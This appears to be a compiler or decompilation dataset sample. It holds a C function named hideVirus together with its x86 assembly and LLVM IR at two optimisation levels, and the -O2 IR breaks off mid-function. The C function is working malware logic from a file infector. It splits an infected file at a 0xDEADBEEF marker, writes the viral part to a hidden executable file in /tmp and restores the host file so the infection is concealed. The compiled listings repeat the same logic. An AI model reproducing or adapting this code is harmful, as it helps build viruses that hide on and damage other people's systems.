#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct stat {
  int st_size;
};

/* Variables and functions */
int O_CREAT;
int O_EXCL;
int /*<<< orphan*/ O_RDONLY;
int O_RDWR;
int O_TRUNC;
int S_IRWXU;
int S_IXGRP;
int S_IXOTH;
int /*<<< orphan*/ __NR_close;
int /*<<< orphan*/ __NR_open;
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ free(char *);
int fstat(int, struct stat *);
int getpid();
int getuid();
char *malloc(int);
int /*<<< orphan*/ memcpy(char *, char *, int);
int read(int, char *, int);
int /*<<< orphan*/ sprintf(char *, char *, int, int);
int syscall(int /*<<< orphan*/, ...);
int /*<<< orphan*/ write(int, char *, int);
void hideVirus(char *argv) {
  int fd, tempFd;
  if ((fd = syscall(__NR_open, argv, O_RDONLY)) == -1) {
    exit(1);
  }
  char buf[100];
  sprintf(buf, "/tmp/.%u.%u", getpid(), getuid());
  if ((tempFd = syscall(__NR_open, buf, O_RDWR | O_CREAT | O_EXCL,
                        S_IRWXU | S_IXGRP | S_IXOTH)) == -1) {
    exit(1);
  }
  struct stat fstatInfo;
  if (fstat(fd, &fstatInfo) == -1) {
    syscall(__NR_close, fd);
    exit(1);
  }
  int offsetState = 0, virLen = 0, i = 0;
  int fileSize = 0, vir = 1;
  char offBuf = 0x00;
  char *virBuf = malloc(sizeof(char) * fstatInfo.st_size);
  char *fileBuf;
  while (read(fd, &offBuf, 1) == 1) {
    if (vir) {
      memcpy(&virBuf[virLen++], &offBuf, 1);
    } else {
      memcpy(&fileBuf[fileSize++], &offBuf, 1);
    }
    if (offsetState == 0 && (offBuf & 255) == 0xDE) {
      offsetState = 1;
    } else if (offsetState == 1) {
      if ((offBuf & 255) == 0xAD) {
        offsetState = 2;
      } else {
        offsetState = 0;
      }
    } else if (offsetState == 2) {
      if ((offBuf & 255) == 0xBE) {
        offsetState = 3;
      } else {
        offsetState = 0;
      }
    } else if (offsetState == 3) {
      if ((offBuf & 255) == 0xEF) {
        offsetState = 4;
        vir = 0;
        fileBuf = malloc(sizeof(char) * fstatInfo.st_size);
      } else {
        offsetState = 0;
      }
    }
  }
  syscall(__NR_close, fd);
  for (i = 0; i < virLen; i++) {
    write(tempFd, &virBuf[i], 1);
  }
  syscall(__NR_close, tempFd);
  if ((fd = syscall(__NR_open, argv, O_RDWR | O_TRUNC)) == -1) {
    exit(1);
  }
  for (i = 0; i < fileSize; i++) {
    write(fd, &fileBuf[i], 1);
  }
  syscall(__NR_close, fd);
  free(virBuf);
  free(fileBuf);
}


x86 assembly (clang, -O0):
<hideVirus>:
push   %rbp
mov    %rsp,%rbp
sub    $0xc0,%rsp
mov    %rdi,-0x8(%rbp)
mov    0x2e1a(%rip),%rax
mov    (%rax),%edi
mov    -0x8(%rbp),%rsi
mov    0x2ddd(%rip),%rax
mov    (%rax),%edx
mov    $0x0,%al
call   1080 <syscall@plt>
mov    %eax,-0xc(%rbp)
cmp    $0xffffffff,%eax
jne    11f2 <hideVirus+0x42>
mov    $0x1,%edi
call   10c0 <exit@plt>
lea    -0x80(%rbp),%rax
mov    %rax,-0xc0(%rbp)
mov    $0x0,%al
call   1050 <getpid@plt>
mov    %eax,-0xb4(%rbp)
mov    $0x0,%al
call   1060 <getuid@plt>
mov    -0xc0(%rbp),%rdi
mov    -0xb4(%rbp),%edx
mov    %eax,%ecx
lea    0xdd9(%rip),%rsi
call   10b0 <sprintf@plt>
mov    0x2dad(%rip),%rax
mov    (%rax),%edi
lea    -0x80(%rbp),%rsi
mov    0x2d88(%rip),%rax
mov    (%rax),%edx
mov    0x2daf(%rip),%rax
or     (%rax),%edx
mov    0x2d46(%rip),%rax
or     (%rax),%edx
mov    0x2d75(%rip),%rax
mov    (%rax),%ecx
mov    0x2d44(%rip),%rax
or     (%rax),%ecx
mov    0x2d53(%rip),%rax
or     (%rax),%ecx
mov    $0x0,%al
call   1080 <syscall@plt>
mov    %eax,-0x10(%rbp)
cmp    $0xffffffff,%eax
jne    128c <hideVirus+0xdc>
mov    $0x1,%edi
call   10c0 <exit@plt>
mov    -0xc(%rbp),%edi
lea    -0x88(%rbp),%rsi
call   10d0 <fstat@plt>
cmp    $0xffffffff,%eax
jne    12c1 <hideVirus+0x111>
mov    0x2d0d(%rip),%rax
mov    (%rax),%edi
mov    -0xc(%rbp),%esi
mov    $0x0,%al
call   1080 <syscall@plt>
mov    $0x1,%edi
call   10c0 <exit@plt>
movl   $0x0,-0x8c(%rbp)
movl   $0x0,-0x90(%rbp)
movl   $0x0,-0x94(%rbp)
movl   $0x0,-0x98(%rbp)
movl   $0x1,-0x9c(%rbp)
movb   $0x0,-0x9d(%rbp)
movslq -0x88(%rbp),%rax
shl    $0x0,%rax
mov    %eax,%edi
call   10a0 <malloc@plt>
mov    %rax,-0xa8(%rbp)
mov    -0xc(%rbp),%edi
lea    -0x9d(%rbp),%rsi
mov    $0x1,%edx
call   1070 <read@plt>
cmp    $0x1,%eax
jne    14ce <hideVirus+0x31e>
cmpl   $0x0,-0x9c(%rbp)
je     1370 <hideVirus+0x1c0>
mov    -0xa8(%rbp),%rdi
mov    -0x90(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x90(%rbp)
cltq
add    %rax,%rdi
lea    -0x9d(%rbp),%rsi
mov    $0x1,%edx
call   1090 <memcpy@plt>
jmp    139e <hideVirus+0x1ee>
mov    -0xb0(%rbp),%rdi
mov    -0x98(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x98(%rbp)
cltq
add    %rax,%rdi
lea    -0x9d(%rbp),%rsi
mov    $0x1,%edx
call   1090 <memcpy@plt>
cmpl   $0x0,-0x8c(%rbp)
jne    13d1 <hideVirus+0x221>
movsbl -0x9d(%rbp),%eax
and    $0xff,%eax
cmp    $0xde,%eax
jne    13d1 <hideVirus+0x221>
movl   $0x1,-0x8c(%rbp)
jmp    14c9 <hideVirus+0x319>
cmpl   $0x1,-0x8c(%rbp)
jne    1413 <hideVirus+0x263>
movsbl -0x9d(%rbp),%eax
and    $0xff,%eax
cmp    $0xad,%eax
jne    1404 <hideVirus+0x254>
movl   $0x2,-0x8c(%rbp)
jmp    140e <hideVirus+0x25e>
movl   $0x0,-0x8c(%rbp)
jmp    14c4 <hideVirus+0x314>
cmpl   $0x2,-0x8c(%rbp)
jne    1455 <hideVirus+0x2a5>
movsbl -0x9d(%rbp),%eax
and    $0xff,%eax
cmp    $0xbe,%eax
jne    1446 <hideVirus+0x296>
movl   $0x3,-0x8c(%rbp)
jmp    1450 <hideVirus+0x2a0>
movl   $0x0,-0x8c(%rbp)
jmp    14bf <hideVirus+0x30f>
cmpl   $0x3,-0x8c(%rbp)
jne    14ba <hideVirus+0x30a>
movsbl -0x9d(%rbp),%eax
and    $0xff,%eax
cmp    $0xef,%eax
jne    14ab <hideVirus+0x2fb>
movl   $0x4,-0x8c(%rbp)
movl   $0x0,-0x9c(%rbp)
movslq -0x88(%rbp),%rax
shl    $0x0,%rax
mov    %eax,%edi
call   10a0 <malloc@plt>
mov    %rax,-0xb0(%rbp)
jmp    14b5 <hideVirus+0x305>
movl   $0x0,-0x8c(%rbp)
jmp    14ba <hideVirus+0x30a>
jmp    14bf <hideVirus+0x30f>
jmp    14c4 <hideVirus+0x314>
jmp    14c9 <hideVirus+0x319>
jmp    1313 <hideVirus+0x163>
mov    0x2ae3(%rip),%rax
mov    (%rax),%edi
mov    -0xc(%rbp),%esi
mov    $0x0,%al
call   1080 <syscall@plt>
movl   $0x0,-0x94(%rbp)
mov    -0x94(%rbp),%eax
cmp    -0x90(%rbp),%eax
jge    152f <hideVirus+0x37f>
mov    -0x10(%rbp),%edi
mov    -0xa8(%rbp),%rsi
movslq -0x94(%rbp),%rax
add    %rax,%rsi
mov    $0x1,%edx
call   1040 <write@plt>
mov    -0x94(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x94(%rbp)
jmp    14eb <hideVirus+0x33b>
mov    0x2a82(%rip),%rax
mov    (%rax),%edi
mov    -0x10(%rbp),%esi
mov    $0x0,%al
call   1080 <syscall@plt>
mov    0x2a97(%rip),%rax
mov    (%rax),%edi
mov    -0x8(%rbp),%rsi
mov    0x2a72(%rip),%rax
mov    (%rax),%edx
mov    0x2a91(%rip),%rax
or     (%rax),%edx
mov    $0x0,%al
call   1080 <syscall@plt>
mov    %eax,-0xc(%rbp)
cmp    $0xffffffff,%eax
jne    157e <hideVirus+0x3ce>
mov    $0x1,%edi
call   10c0 <exit@plt>
movl   $0x0,-0x94(%rbp)
mov    -0x94(%rbp),%eax
cmp    -0x98(%rbp),%eax
jge    15cc <hideVirus+0x41c>
mov    -0xc(%rbp),%edi
mov    -0xb0(%rbp),%rsi
movslq -0x94(%rbp),%rax
add    %rax,%rsi
mov    $0x1,%edx
call   1040 <write@plt>
mov    -0x94(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x94(%rbp)
jmp    1588 <hideVirus+0x3d8>
mov    0x29e5(%rip),%rax
mov    (%rax),%edi
mov    -0xc(%rbp),%esi
mov    $0x0,%al
call   1080 <syscall@plt>
mov    -0xa8(%rbp),%rdi
call   1030 <free@plt>
mov    -0xb0(%rbp),%rdi
call   1030 <free@plt>
add    $0xc0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<hideVirus>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x98,%rsp
mov    %rdi,%r15
mov    0x2e15(%rip),%r13
mov    0x0(%r13),%edi
mov    0x2dda(%rip),%rax
mov    (%rax),%edx
mov    %r15,%rsi
xor    %eax,%eax
call   1080 <syscall@plt>
cmp    $0xffffffff,%eax
je     14bd <hideVirus+0x30d>
mov    %eax,%ebp
xor    %eax,%eax
call   1050 <getpid@plt>
mov    %eax,%ebx
xor    %eax,%eax
call   1060 <getuid@plt>
lea    0xdfc(%rip),%rsi
lea    0x30(%rsp),%r14
mov    %r14,%rdi
mov    %ebx,%edx
mov    %eax,%ecx
call   10b0 <sprintf@plt>
mov    0x2dac(%rip),%rbx
mov    0x2dd5(%rip),%rax
mov    (%rax),%edx
or     (%rbx),%edx
mov    0x2d6a(%rip),%rax
or     (%rax),%edx
mov    0x2d99(%rip),%rax
mov    0x2d6a(%rip),%rcx
mov    (%rcx),%ecx
or     (%rax),%ecx
mov    0x0(%r13),%edi
mov    0x2d73(%rip),%rax
or     (%rax),%ecx
mov    %r14,%rsi
xor    %eax,%eax
call   1080 <syscall@plt>
cmp    $0xffffffff,%eax
je     14bd <hideVirus+0x30d>
mov    %eax,0x4(%rsp)
lea    0x20(%rsp),%rsi
mov    %ebp,%edi
call   10d0 <fstat@plt>
cmp    $0xffffffff,%eax
je     14c7 <hideVirus+0x317>
movb   $0x0,0x3(%rsp)
mov    0x20(%rsp),%edi
mov    %edi,0x24(%rsp)
call   10a0 <malloc@plt>
mov    %rax,0x18(%rsp)
lea    0x3(%rsp),%rsi
mov    $0x1,%r12d
mov    %ebp,%edi
mov    $0x1,%edx
call   1070 <read@plt>
cmp    $0x1,%eax
jne    13a7 <hideVirus+0x1f7>
mov    %ebp,%r13d
mov    %r15,0x28(%rsp)
xor    %eax,%eax
mov    %rax,0x8(%rsp)
lea    0x3(%rsp),%r14
xor    %r15d,%r15d
xor    %ebx,%ebx
jmp    12fb <hideVirus+0x14b>
xor    %ecx,%ecx
cmp    $0xbe,%al
sete   %cl
lea    (%rcx,%rcx,2),%ebp
nopw   0x0(%rax,%rax,1)
mov    %r13d,%edi
mov    %r14,%rsi
mov    $0x1,%edx
call   1070 <read@plt>
mov    %ebp,%ebx
cmp    $0x1,%eax
jne    13c7 <hideVirus+0x217>
test   %r12d,%r12d
je     1320 <hideVirus+0x170>
mov    %r15d,%eax
lea    0x1(%r15),%edx
mov    0x18(%rsp),%rcx
mov    %edx,%r15d
jmp    1334 <hideVirus+0x184>
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax,%rax,1)
mov    0x8(%rsp),%rcx
mov    %ecx,%eax
lea    0x1(%rcx),%edx
mov    0x10(%rsp),%rcx
mov    %rdx,0x8(%rsp)
movslq %eax,%rdi
add    %rcx,%rdi
mov    $0x1,%ebp
mov    %r14,%rsi
mov    $0x1,%edx
call   1090 <memcpy@plt>
movzbl 0x3(%rsp),%eax
test   %ebx,%ebx
jne    1359 <hideVirus+0x1a9>
cmp    $0xde,%al
je     12e0 <hideVirus+0x130>
cmp    $0x3,%ebx
je     137b <hideVirus+0x1cb>
cmp    $0x2,%ebx
je     12cd <hideVirus+0x11d>
cmp    $0x1,%ebx
jne    13a0 <hideVirus+0x1f0>
xor    %ebp,%ebp
cmp    $0xad,%al
sete   %bpl
add    %ebp,%ebp
jmp    12e0 <hideVirus+0x130>
xor    %ebp,%ebp
cmp    $0xef,%al
jne    12e0 <hideVirus+0x130>
mov    0x24(%rsp),%edi
call   10a0 <malloc@plt>
mov    %rax,0x10(%rsp)
xor    %r12d,%r12d
mov    $0x4,%ebp
jmp    12e0 <hideVirus+0x130>
mov    %ebx,%ebp
jmp    12e0 <hideVirus+0x130>
mov    0x2c0a(%rip),%rax
mov    (%rax),%edi
xor    %eax,%eax
mov    %rax,0x8(%rsp)
mov    %ebp,%esi
xor    %eax,%eax
call   1080 <syscall@plt>
mov    0x4(%rsp),%r12d
jmp    141d <hideVirus+0x26d>
mov    0x2bea(%rip),%rax
mov    (%rax),%edi
mov    %r13d,%esi
xor    %eax,%eax
call   1080 <syscall@plt>
test   %r15d,%r15d
mov    0x4(%rsp),%r12d
jle    140a <hideVirus+0x25a>
mov    %r15d,%ebx
mov    0x18(%rsp),%rbp
nopl   0x0(%rax)
mov    %r12d,%edi
mov    %rbp,%rsi
mov    $0x1,%edx
call   1040 <write@plt>
add    $0x1,%rbp
add    $0xffffffffffffffff,%rbx
jne    13f0 <hideVirus+0x240>
mov    0x28(%rsp),%r15
mov    0x2bca(%rip),%r13
mov    0x2bab(%rip),%rbx
mov    0x2b94(%rip),%r14
mov    (%r14),%edi
mov    %r12d,%esi
xor    %eax,%eax
call   1080 <syscall@plt>
mov    0x0(%r13),%edi
mov    0x2bb4(%rip),%rax
mov    (%rax),%edx
or     (%rbx),%edx
mov    %r15,%rsi
xor    %eax,%eax
call   1080 <syscall@plt>
cmp    $0xffffffff,%eax
je     14bd <hideVirus+0x30d>
mov    %eax,%r15d
mov    0x8(%rsp),%rax
test   %eax,%eax
jle    148a <hideVirus+0x2da>
mov    %eax,%ebx
mov    0x10(%rsp),%rbp
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax)
mov    %r15d,%edi
mov    %rbp,%rsi
mov    $0x1,%edx
call   1040 <write@plt>
add    $0x1,%rbp
add    $0xffffffffffffffff,%rbx
jne    1470 <hideVirus+0x2c0>
mov    (%r14),%edi
mov    %r15d,%esi
xor    %eax,%eax
call   1080 <syscall@plt>
mov    0x18(%rsp),%rdi
call   1030 <free@plt>
mov    0x10(%rsp),%rdi
call   1030 <free@plt>
add    $0x98,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
mov    $0x1,%edi
call   10c0 <exit@plt>
mov    0x2aea(%rip),%rax
mov    (%rax),%edi
mov    %ebp,%esi
xor    %eax,%eax
call   1080 <syscall@plt>
mov    $0x1,%edi
call   10c0 <exit@plt>

LLVM IR (-O0):
%struct.stat = type { i32 }
@__NR_open = global i32 0
@O_RDONLY = global i32 0
@.str = [12 x i8] c"/tmp/.%u.%u\00"
@O_RDWR = global i32 0
@O_CREAT = global i32 0
@O_EXCL = global i32 0
@S_IRWXU = global i32 0
@S_IXGRP = global i32 0
@S_IXOTH = global i32 0
@__NR_close = global i32 0
@O_TRUNC = global i32 0
define void @hideVirus(i8* %0) {
%2 = alloca i8*
%3 = alloca i32
%4 = alloca i32
%5 = alloca [100 x i8]
%6 = alloca %struct.stat
%7 = alloca i32
%8 = alloca i32
%9 = alloca i32
%10 = alloca i32
%11 = alloca i32
%12 = alloca i8
%13 = alloca i8*
%14 = alloca i8*
store i8* %0, i8** %2
%15 = load i32, i32* @__NR_open
%16 = load i8*, i8** %2
%17 = load i32, i32* @O_RDONLY
%18 = call i32 (i32, ...) @syscall(i32 %15, i8* %16, i32 %17)
store i32 %18, i32* %3
%19 = icmp eq i32 %18, -1
br i1 %19, label %20, label %22
20: ; preds = %1
%21 = call i32 @exit(i32 1)
unreachable
22: ; preds = %1
%23 = getelementptr inbounds [100 x i8], [100 x i8]* %5, i64 0, i64 0
%24 = call i32 (...) @getpid()
%25 = call i32 (...) @getuid()
%26 = call i32 @sprintf(i8* %23, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0), i32 %24, i32 %25)
%27 = load i32, i32* @__NR_open
%28 = getelementptr inbounds [100 x i8], [100 x i8]* %5, i64 0, i64 0
%29 = load i32, i32* @O_RDWR
%30 = load i32, i32* @O_CREAT
%31 = or i32 %29, %30
%32 = load i32, i32* @O_EXCL
%33 = or i32 %31, %32
%34 = load i32, i32* @S_IRWXU
%35 = load i32, i32* @S_IXGRP
%36 = or i32 %34, %35
%37 = load i32, i32* @S_IXOTH
%38 = or i32 %36, %37
%39 = call i32 (i32, ...) @syscall(i32 %27, i8* %28, i32 %33, i32 %38)
store i32 %39, i32* %4
%40 = icmp eq i32 %39, -1
br i1 %40, label %41, label %43
41: ; preds = %22
%42 = call i32 @exit(i32 1)
unreachable
43: ; preds = %22
%44 = load i32, i32* %3
%45 = call i32 @fstat(i32 %44, %struct.stat* %6)
%46 = icmp eq i32 %45, -1
br i1 %46, label %47, label %52
47: ; preds = %43
%48 = load i32, i32* @__NR_close
%49 = load i32, i32* %3
%50 = call i32 (i32, ...) @syscall(i32 %48, i32 %49)
%51 = call i32 @exit(i32 1)
unreachable
52: ; preds = %43
store i32 0, i32* %7
store i32 0, i32* %8
store i32 0, i32* %9
store i32 0, i32* %10
store i32 1, i32* %11
store i8 0, i8* %12
%53 = getelementptr inbounds %struct.stat, %struct.stat* %6, i32 0, i32 0
%54 = load i32, i32* %53
%55 = sext i32 %54 to i64
%56 = mul i64 1, %55
%57 = trunc i64 %56 to i32
%58 = call i8* @malloc(i32 %57)
store i8* %58, i8** %13
br label %59
59: ; preds = %131, %52
%60 = load i32, i32* %3
%61 = call i32 @read(i32 %60, i8* %12, i32 1)
%62 = icmp eq i32 %61, 1
br i1 %62, label %63, label %132
63: ; preds = %59
%64 = load i32, i32* %11
%65 = icmp ne i32 %64, 0
br i1 %65, label %66, label %73
66: ; preds = %63
%67 = load i8*, i8** %13
%68 = load i32, i32* %8
%69 = add nsw i32 %68, 1
store i32 %69, i32* %8
%70 = sext i32 %68 to i64
%71 = getelementptr inbounds i8, i8* %67, i64 %70
%72 = call i32 @memcpy(i8* %71, i8* %12, i32 1)
br label %80
73: ; preds = %63
%74 = load i8*, i8** %14
%75 = load i32, i32* %10
%76 = add nsw i32 %75, 1
store i32 %76, i32* %10
%77 = sext i32 %75 to i64
%78 = getelementptr inbounds i8, i8* %74, i64 %77
%79 = call i32 @memcpy(i8* %78, i8* %12, i32 1)
br label %80
80: ; preds = %73, %66
%81 = load i32, i32* %7
%82 = icmp eq i32 %81, 0
br i1 %82, label %83, label %89
83: ; preds = %80
%84 = load i8, i8* %12
%85 = sext i8 %84 to i32
%86 = and i32 %85, 255
%87 = icmp eq i32 %86, 222
br i1 %87, label %88, label %89
88: ; preds = %83
store i32 1, i32* %7
br label %131
89: ; preds = %83, %80
%90 = load i32, i32* %7
%91 = icmp eq i32 %90, 1
br i1 %91, label %92, label %100
92: ; preds = %89
%93 = load i8, i8* %12
%94 = sext i8 %93 to i32
%95 = and i32 %94, 255
%96 = icmp eq i32 %95, 173
br i1 %96, label %97, label %98
97: ; preds = %92
store i32 2, i32* %7
br label %99
98: ; preds = %92
store i32 0, i32* %7
br label %99
99: ; preds = %98, %97
br label %130
100: ; preds = %89
%101 = load i32, i32* %7
%102 = icmp eq i32 %101, 2
br i1 %102, label %103, label %111
103: ; preds = %100
%104 = load i8, i8* %12
%105 = sext i8 %104 to i32
%106 = and i32 %105, 255
%107 = icmp eq i32 %106, 190
br i1 %107, label %108, label %109
108: ; preds = %103
store i32 3, i32* %7
br label %110
109: ; preds = %103
store i32 0, i32* %7
br label %110
110: ; preds = %109, %108
br label %129
111: ; preds = %100
%112 = load i32, i32* %7
%113 = icmp eq i32 %112, 3
br i1 %113, label %114, label %128
114: ; preds = %111
%115 = load i8, i8* %12
%116 = sext i8 %115 to i32
%117 = and i32 %116, 255
%118 = icmp eq i32 %117, 239
br i1 %118, label %119, label %126
119: ; preds = %114
store i32 4, i32* %7
store i32 0, i32* %11
%120 = getelementptr inbounds %struct.stat, %struct.stat* %6, i32 0, i32 0
%121 = load i32, i32* %120
%122 = sext i32 %121 to i64
%123 = mul i64 1, %122
%124 = trunc i64 %123 to i32
%125 = call i8* @malloc(i32 %124)
store i8* %125, i8** %14
br label %127
126: ; preds = %114
store i32 0, i32* %7
br label %127
127: ; preds = %126, %119
br label %128
128: ; preds = %127, %111
br label %129
129: ; preds = %128, %110
br label %130
130: ; preds = %129, %99
br label %131
131: ; preds = %130, %88
br label %59
132: ; preds = %59
%133 = load i32, i32* @__NR_close
%134 = load i32, i32* %3
%135 = call i32 (i32, ...) @syscall(i32 %133, i32 %134)
store i32 0, i32* %9
br label %136
136: ; preds = %147, %132
%137 = load i32, i32* %9
%138 = load i32, i32* %8
%139 = icmp slt i32 %137, %138
br i1 %139, label %140, label %150
140: ; preds = %136
%141 = load i32, i32* %4
%142 = load i8*, i8** %13
%143 = load i32, i32* %9
%144 = sext i32 %143 to i64
%145 = getelementptr inbounds i8, i8* %142, i64 %144
%146 = call i32 @write(i32 %141, i8* %145, i32 1)
br label %147
147: ; preds = %140
%148 = load i32, i32* %9
%149 = add nsw i32 %148, 1
store i32 %149, i32* %9
br label %136
150: ; preds = %136
%151 = load i32, i32* @__NR_close
%152 = load i32, i32* %4
%153 = call i32 (i32, ...) @syscall(i32 %151, i32 %152)
%154 = load i32, i32* @__NR_open
%155 = load i8*, i8** %2
%156 = load i32, i32* @O_RDWR
%157 = load i32, i32* @O_TRUNC
%158 = or i32 %156, %157
%159 = call i32 (i32, ...) @syscall(i32 %154, i8* %155, i32 %158)
store i32 %159, i32* %3
%160 = icmp eq i32 %159, -1
br i1 %160, label %161, label %163
161: ; preds = %150
%162 = call i32 @exit(i32 1)
unreachable
163: ; preds = %150
store i32 0, i32* %9
br label %164
164: ; preds = %175, %163
%165 = load i32, i32* %9
%166 = load i32, i32* %10
%167 = icmp slt i32 %165, %166
br i1 %167, label %168, label %178
168: ; preds = %164
%169 = load i32, i32* %3
%170 = load i8*, i8** %14
%171 = load i32, i32* %9
%172 = sext i32 %171 to i64
%173 = getelementptr inbounds i8, i8* %170, i64 %172
%174 = call i32 @write(i32 %169, i8* %173, i32 1)
br label %175
175: ; preds = %168
%176 = load i32, i32* %9
%177 = add nsw i32 %176, 1
store i32 %177, i32* %9
br label %164
178: ; preds = %164
%179 = load i32, i32* @__NR_close
%180 = load i32, i32* %3
%181 = call i32 (i32, ...) @syscall(i32 %179, i32 %180)
%182 = load i8*, i8** %13
%183 = call i32 @free(i8* %182)
%184 = load i8*, i8** %14
%185 = call i32 @free(i8* %184)
ret void
}

LLVM IR (-O2):
%struct.stat = type { i32 }
@__NR_open = global i32 0
@O_RDONLY = global i32 0
@.str = [12 x i8] c"/tmp/.%u.%u\00"
@O_RDWR = global i32 0
@O_CREAT = global i32 0
@O_EXCL = global i32 0
@S_IRWXU = global i32 0
@S_IXGRP = global i32 0
@S_IXOTH = global i32 0
@__NR_close = global i32 0
@O_TRUNC = global i32 0
define void @hideVirus(i8* %0) {
%2 = alloca [100 x i8]
%3 = alloca %struct.stat
%4 = alloca i8
%5 = load i32, i32* @__NR_open
%6 = load i32, i32* @O_RDONLY
%7 = tail call i32 (i32, ...) @syscall(i32 %5, i8* %0, i32 %6)
%8 = icmp eq i32 %7, -1
br i1 %8, label %9, label %11
9: ; preds = %1
%10 = tail call i32 @exit(i32 1)
unreachable
11: ; preds = %1
%12 = getelementptr inbounds [100 x i8], [100 x i8]* %2, i64 0, i64 0
%13 = tail call i32 (...) @getpid()
%14 = tail call i32 (...) @getuid()
%15 = call i32 @sprintf(i8* %12, i8* dereferenceable(1) getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0), i32 %13, i32 %14)
%16 = load i32, i32* @__NR_open
%17 = load i32, i32* @O_RDWR
%18 = load i32, i32* @O_CREAT
%19 = or i32 %18, %17
%20 = load i32, i32* @O_EXCL
%21 = or i32 %19, %20
%22 = load i32, i32* @S_IRWXU
%23 = load i32, i32* @S_IXGRP
%24 = or i32 %23, %22
%25 = load i32, i32* @S_IXOTH
%26 = or i32 %24, %25
%27 = call i32 (i32, ...) @syscall(i32 %16, i8* %12, i32 %21, i32 %26)
%28 = icmp eq i32 %27, -1
br i1 %28, label %29, label %31
29: ; preds = %11
%30 = call i32 @exit(i32 1)
unreachable
31: ; preds = %11
%32 = bitcast %struct.stat* %3 to i8*
%33 = call i32 @fstat(i32 %7, %struct.stat* %3)
%34 = icmp eq i32 %33, -1
br i1 %34, label %35, label %39
35: ; preds = %31
%36 = load i32, i32* @__NR_close
%37 = call i32 (i32, ...) @syscall(i32 %36, i32 %7)
%38 = call i32 @exit(i32 1)
unreachable
39: ; preds = %31
store i8 0, i8* %4
%40 = getelementptr inbounds %struct.stat, %struct.stat* %3, i64 0, i32 0
%41 = load i32, i32* %40
%42 = call i8* @malloc(i32 %41)
%43 = call i32 @read(i32 %7, i8* %4, i32 1)
%44 = icmp eq i32 %43, 1
br i1 %44, label %48, label %45
45: ; preds = %39
%46 = load i32, i32* @__NR_close
%47 = call i32 (i32, ...) @syscall(i32 %46, i32 %7)
br label %100
48: ; preds = %39, %82
%49 = phi i8* [ %85, %82 ], [ undef, %39 ]
%50 = phi i32 [ %84, %82 ], [ 1, %39 ]
%51 = phi i32 [ %63, %82 ], [ 0, %39 ]
%52 = phi i32 [ %62, %82 ], [ 0, %39 ]
%53 = phi i32 [ %83, %82 ], [ 0, %39 ]
%54 = icmp eq i32 %50, 0
br i1 %54, label %57, label %55
55: ; preds = %48
%56 = add nsw i32 %52, 1
br label %59
57: ; preds = %48
%58 = add nsw i32 %51, 1
br label %59
59: ; preds = %57, %55
%60 = phi i32 [ %51, %57 ], [ %52, %55 ]
%61 = phi i8* [ %49, %57 ], [ %42, %55 ]
%62 = phi i32 [ %52, %57 ], [ %56, %55 ]
%63 = phi i32 [ %58, %57 ], [ %51, %55 ]
%64 = sext i32 %60 to i64
%65 = getelementptr inbounds i8, i8* %61, i64 %64
%66 = call i32 @memcpy(i8* %65, i8* %4, i32 1)
%67 = icmp eq i32 %53, 0
%68 = load i8, i8* %4
%69 = icmp eq i8 %68, -34
%70 = select i1 %67, i1 %69, i1 false
br i1 %70, label %82, label %71
71: ; preds = %59
switch i32 %53, label %82 [
i32 1, label %72
i32 2, label %75
i32 3, label %78
]
72: ; preds = %71
%73 = icmp eq i8 %68, -83
%74 = select i1 %73, i32 2, i32 0
br label %82
75: ; preds = %71
%76 = icmp eq i8 %68, -66
%77 = select i1 %76, i32 3, i32 0
br label %82
78: ; preds = %71
%79 = icmp eq i8 %68, -17
br i1 %79, label %80, label %82
80: ; preds = %78
%81 = call i8* @malloc(i32 %41)
br label %82
82: ; preds = %78, %71, %75, %72, %59, %80
%83 = phi i32 [ 4, %80 ], [ 1, %59 ], [ %74, %72 ], [ %77, %75 ], [ %53, %71 ], [ 0, %78 ]
%84 = phi i32 [ 0, %80 ], [ %50, %59 ], [ %50, %72 ], [ %50, %75 ], [ %50, %71 ], [ %50, %78 ]
%85 = phi i8* [ %81, %80 ], [ %49, %59 ], [ %49, %72 ], [ %49, %75 ], [ %49, %71 ], [ %49, %78 ]
%86 = call i32 @read(i32 %7, i8* %4, i32 1)
%87 = icmp eq i32 %86, 1
br i1 %87, label %48, label %88
88: ; preds = %82
%89 = load i32, i32* @__NR_close
%90 = call i32 (i32, ...) @syscall(i32 %89, i32 %7)
%91 = icmp sgt i32 %62, 0
br i1 %91, label %92, label %100
92: ; preds = %88
%93 = zext i32 %62 to i64
br label %94
94: ; preds = %92, %94
%95 = phi i64 [ 0, %92 ], [ %98, %94 ]
%96 = getelementptr inbounds i8, i8* %42, i64 %95
%97 = call i32 @write(i32 %27, i8* %96, i32 1)
%98 = add nuw nsw i64 %95, 1
%99 = icmp eq i64 %98, %93
br i1 %99, label %100, label %94
100: ; preds = %94, %45, %88
%101 = phi i8* [ undef, %45 ], [ %85, %88 ], [ %85, %94 ]
%102 = phi i32 [ 0, %45 ], [ %63, %88 ], [ %63, %94 ]
%103 = load i32, i32* @__NR_close
%104 = call i32 (i32, ...) @syscall(i32 %103, i32 %27)
%105 = load i32, i32* @__NR_open
%106 = load i32, i32* @O_RDWR
%107 = load i32, i32* @O_TRUNC
%108 = or i32 %107, %106
%109 = call i32 (i32, ...) @syscall(i32 %105, i8* %0, i32 %108)
%110 = icmp eq i32 %109, -1
br i1 %110, label %115, label %111
111: ; preds = %100
%112 = icmp sgt i32 %102, 0
br i1 %112, label %113, label %123
113: ; preds = %111
%114 = zext i32 %102 to i64
br label %117
115: ; preds = %100
%116 = call i32 @exit(i32 1)
unreachable
117: ; preds = %113, %117
%118 = phi i64 [ 0, %113 ], [ %121, %117 ]
